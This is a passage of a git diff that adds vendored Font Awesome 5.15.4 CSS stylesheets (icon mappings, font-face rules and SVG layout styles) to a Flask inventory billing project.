.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-shield-virus:before{content:"\e06c"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopify:before{content:"\e057"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sink:before{content:"\e06d"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-soap:before{content:"\e06e"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-stopwatch-20:before{content:"\e06f"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-store-alt-slash:before{content:"\e070"}.fa-store-slash:before{content:"\e071"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-tiktok:before{content:"\e07b"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toilet-paper-slash:before{content:"\e072"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-trailer:before{content:"\e041"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-uncharted:before{content:"\e084"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\e049"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-unsplash:before{content:"\e07c"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-users-slash:before{content:"\e073"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-vest:before{content:"\e085"}.fa-vest-patches:before{content:"\e086"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-virus:before{content:"\e074"}.fa-virus-slash:before{content:"\e075"}.fa-viruses:before{content:"\e076"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-watchman-monitoring:before{content:"\e087"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wodu:before{content:"\e088"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.css new file mode 100644 index 00000000..6f45057d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.css @@ -0,0 +1,15 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 400; + font-display: block; + src: url("../webfonts/fa-regular-400.eot"); + src: url("../webfonts/fa-regular-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.woff") format("woff"), url("../webfonts/fa-regular-400.ttf") format("truetype"), url("../webfonts/fa-regular-400.svg#fontawesome") format("svg"); } + +.far { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.min.css new file mode 100644 index 00000000..21881d5a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/regular.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.far{font-family:"Font Awesome 5 Free";font-weight:400} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.css new file mode 100644 index 00000000..604e7551 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.css @@ -0,0 +1,16 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 900; + font-display: block; + src: url("../webfonts/fa-solid-900.eot"); + src: url("../webfonts/fa-solid-900.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.woff") format("woff"), url("../webfonts/fa-solid-900.ttf") format("truetype"), url("../webfonts/fa-solid-900.svg#fontawesome") format("svg"); } + +.fa, +.fas { + font-family: 'Font Awesome 5 Free'; + font-weight: 900; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.min.css new file mode 100644 index 00000000..acdb46dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/solid.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.fas{font-family:"Font Awesome 5 Free";font-weight:900} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.css new file mode 100644 index 00000000..45f33e5d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.css @@ -0,0 +1,371 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +svg:not(:root).svg-inline--fa { + overflow: visible; } + +.svg-inline--fa { + display: inline-block; + font-size: inherit; + height: 1em; + overflow: visible; + vertical-align: -.125em; } + .svg-inline--fa.fa-lg { + vertical-align: -.225em; } + .svg-inline--fa.fa-w-1 { + width: 0.0625em; } + .svg-inline--fa.fa-w-2 { + width: 0.125em; } + .svg-inline--fa.fa-w-3 { + width: 0.1875em; } + .svg-inline--fa.fa-w-4 { + width: 0.25em; } + .svg-inline--fa.fa-w-5 { + width: 0.3125em; } + .svg-inline--fa.fa-w-6 { + width: 0.375em; } + .svg-inline--fa.fa-w-7 { + width: 0.4375em; } + .svg-inline--fa.fa-w-8 { + width: 0.5em; } + .svg-inline--fa.fa-w-9 { + width: 0.5625em; } + .svg-inline--fa.fa-w-10 { + width: 0.625em; } + .svg-inline--fa.fa-w-11 { + width: 0.6875em; } + .svg-inline--fa.fa-w-12 { + width: 0.75em; } + .svg-inline--fa.fa-w-13 { + width: 0.8125em; } + .svg-inline--fa.fa-w-14 { + width: 0.875em; } + .svg-inline--fa.fa-w-15 { + width: 0.9375em; } + .svg-inline--fa.fa-w-16 { + width: 1em; } + .svg-inline--fa.fa-w-17 { + width: 1.0625em; } + .svg-inline--fa.fa-w-18 { + width: 1.125em; } + .svg-inline--fa.fa-w-19 { + width: 1.1875em; } + .svg-inline--fa.fa-w-20 { + width: 1.25em; } + .svg-inline--fa.fa-pull-left { + margin-right: .3em; + width: auto; } + .svg-inline--fa.fa-pull-right { + margin-left: .3em; + width: auto; } + .svg-inline--fa.fa-border { + height: 1.5em; } + .svg-inline--fa.fa-li { + width: 2em; } + .svg-inline--fa.fa-fw { + width: 1.25em; } + +.fa-layers svg.svg-inline--fa { + bottom: 0; + left: 0; + margin: auto; + position: absolute; + right: 0; + top: 0; } + +.fa-layers { + display: inline-block; + height: 1em; + position: relative; + text-align: center; + vertical-align: -.125em; + width: 1em; } + .fa-layers svg.svg-inline--fa { + -webkit-transform-origin: center center; + transform-origin: center center; } + +.fa-layers-text, .fa-layers-counter { + display: inline-block; + position: absolute; + text-align: center; } + +.fa-layers-text { + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + -webkit-transform-origin: center center; + transform-origin: center center; } + +.fa-layers-counter { + background-color: #ff253a; + border-radius: 1em; + -webkit-box-sizing: border-box; + box-sizing: border-box; + color: #fff; + height: 1.5em; + line-height: 1; + max-width: 5em; + min-width: 1.5em; + overflow: hidden; + padding: .25em; + right: 0; + text-overflow: ellipsis; + top: 0; + -webkit-transform: scale(0.25); + transform: scale(0.25); + -webkit-transform-origin: top right; + transform-origin: top right; } + +.fa-layers-bottom-right { + bottom: 0; + right: 0; + top: auto; + -webkit-transform: scale(0.25); + transform: scale(0.25); + -webkit-transform-origin: bottom right; + transform-origin: bottom right; } + +.fa-layers-bottom-left { + bottom: 0; + left: 0; + right: auto; + top: auto; + -webkit-transform: scale(0.25); + transform: scale(0.25); + -webkit-transform-origin: bottom left; + transform-origin: bottom left; } + +.fa-layers-top-right { + right: 0; + top: 0; + -webkit-transform: scale(0.25); + transform: scale(0.25); + -webkit-transform-origin: top right; + transform-origin: top right; } + +.fa-layers-top-left { + left: 0; + right: auto; + top: 0; + -webkit-transform: scale(0.25); + transform: scale(0.25); + -webkit-transform-origin: top left; + transform-origin: top left; } + +.fa-lg { + font-size: 1.33333em; + line-height: 0.75em; + vertical-align: -.0667em; } + +.fa-xs { + font-size: .75em; } + +.fa-sm { + font-size: .875em; } + +.fa-1x { + font-size: 1em; } + +.fa-2x { + font-size: 2em; } + +.fa-3x { + font-size: 3em; } + +.fa-4x { + font-size: 4em; } + +.fa-5x { + font-size: 5em; } + +.fa-6x { + font-size: 6em; } + +.fa-7x { + font-size: 7em; } + +.fa-8x { + font-size: 8em; } + +.fa-9x { + font-size: 9em; } + +.fa-10x { + font-size: 10em; } + +.fa-fw { + text-align: center; + width: 1.25em; } + +.fa-ul { + list-style-type: none; + margin-left: 2.5em; + padding-left: 0; } + .fa-ul > li { + position: relative; } + +.fa-li { + left: -2em; + position: absolute; + text-align: center; + width: 2em; + line-height: inherit; } + +.fa-border { + border: solid 0.08em #eee; + border-radius: .1em; + padding: .2em .25em .15em; } + +.fa-pull-left { + float: left; } + +.fa-pull-right { + float: right; } + +.fa.fa-pull-left, +.fas.fa-pull-left, +.far.fa-pull-left, +.fal.fa-pull-left, +.fab.fa-pull-left { + margin-right: .3em; } + +.fa.fa-pull-right, +.fas.fa-pull-right, +.far.fa-pull-right, +.fal.fa-pull-right, +.fab.fa-pull-right { + margin-left: .3em; } + +.fa-spin { + -webkit-animation: fa-spin 2s infinite linear; + animation: fa-spin 2s infinite linear; } + +.fa-pulse { + -webkit-animation: fa-spin 1s infinite steps(8); + animation: fa-spin 1s infinite steps(8); } + +@-webkit-keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +@keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +.fa-rotate-90 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + +.fa-rotate-180 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; + -webkit-transform: rotate(180deg); + transform: rotate(180deg); } + +.fa-rotate-270 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + +.fa-flip-horizontal { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; + -webkit-transform: scale(-1, 1); + transform: scale(-1, 1); } + +.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(1, -1); + transform: scale(1, -1); } + +.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(-1, -1); + transform: scale(-1, -1); } + +:root .fa-rotate-90, +:root .fa-rotate-180, +:root .fa-rotate-270, +:root .fa-flip-horizontal, +:root .fa-flip-vertical, +:root .fa-flip-both { + -webkit-filter: none; + filter: none; } + +.fa-stack { + display: inline-block; + height: 2em; + position: relative; + width: 2.5em; } + +.fa-stack-1x, +.fa-stack-2x { + bottom: 0; + left: 0; + margin: auto; + position: absolute; + right: 0; + top: 0; } + +.svg-inline--fa.fa-stack-1x { + height: 1em; + width: 1.25em; } + +.svg-inline--fa.fa-stack-2x { + height: 2em; + width: 2.5em; } + +.fa-inverse { + color: #fff; } + +.sr-only { + border: 0; + clip: rect(0, 0, 0, 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; } + +.sr-only-focusable:active, .sr-only-focusable:focus { + clip: auto; + height: auto; + margin: 0; + overflow: visible; + position: static; + width: auto; } + +.svg-inline--fa .fa-primary { + fill: var(--fa-primary-color, currentColor); + opacity: 1; + opacity: var(--fa-primary-opacity, 1); } + +.svg-inline--fa .fa-secondary { + fill: var(--fa-secondary-color, currentColor); + opacity: 0.4; + opacity: var(--fa-secondary-opacity, 0.4); } + +.svg-inline--fa.fa-swap-opacity .fa-primary { + opacity: 0.4; + opacity: var(--fa-secondary-opacity, 0.4); } + +.svg-inline--fa.fa-swap-opacity .fa-secondary { + opacity: 1; + opacity: var(--fa-primary-opacity, 1); } + +.svg-inline--fa mask .fa-primary, +.svg-inline--fa mask .fa-secondary { + fill: black; } + +.fad.fa-inverse { + color: #fff; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.min.css new file mode 100644 index 00000000..101beb83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/svg-with-js.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ 